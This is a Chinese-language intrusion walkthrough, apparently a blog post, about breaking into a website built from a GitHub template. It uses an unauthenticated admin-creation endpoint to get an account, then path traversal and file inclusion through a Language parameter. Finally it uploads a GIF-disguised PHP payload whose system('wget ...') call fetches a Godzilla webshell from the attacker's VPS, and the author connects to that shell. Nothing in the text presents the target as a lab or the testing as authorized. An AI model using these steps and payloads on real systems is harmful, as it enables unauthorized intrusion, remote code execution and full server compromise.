开局一个站,装备全靠打,装备可交易,元宝秒到账,大家好我系渣渣辉..........(不好意思走错片场了)
首先网站长这样
右键查看页面源码,发现有github地址以及模板的名字,话不多说 上github上看看去。
发现模板作者是这位黑不溜秋的小姐姐。(确实不戳)
找到了源码下载下来看看
通过代码审计发现这个new_admin.php目录有存在创建邮箱用户这里没有做验证
没有验证就好说了,直接找到这个目录,拿出工具构造请求包
在body位置构建参数:
submit 1
email aaaa@gmail.com
password 123456
直到下面出现 hold on.就说明写入成功
通过目录扫描到Company_admin/login.php是后台地址
登陆邮箱aaaa.gmail.com
密码123456
四位数值1027(作者的生日)
输入验证码然后登陆
找到Create post 目录 点进去找到上传点,经过测试只能上传jpg,png,gif,直接传马儿要被waf拦截(waf凶得很)
Language这个点位有目录解析
从../../../../../etc/passwd可以判断这是个linux系统
由于没有成功反弹shell所以通过php的system函数来执行系统下载命令来上马
将哥斯拉生成的目录上传到vps上并开启http服务
python3.7 -m http.server 80
访问并复制1.php的url
先使用pwd命令查看当前的绝对路径,知道绝对路径后再使用wget命令冲vps上下载木马
以下为需要包含的php内容命名为1.gif
GIF89a
<?php system("wget http://xxx.xxx.xxx.xxx/1.php ");phpinfo();?>
由于在上传时服务器会检测文件头所以第一行是gif的文件头。
准备工作做完了,现在开始上传图片
将图片路径复制下来,在到存在文件包含的功能点包含刚刚上传的gif文件
最后前往vps查看木马已下载成功
最后访问下载的木马发现木马为报错成功访问
直接使用哥斯拉连接木马,也成功连上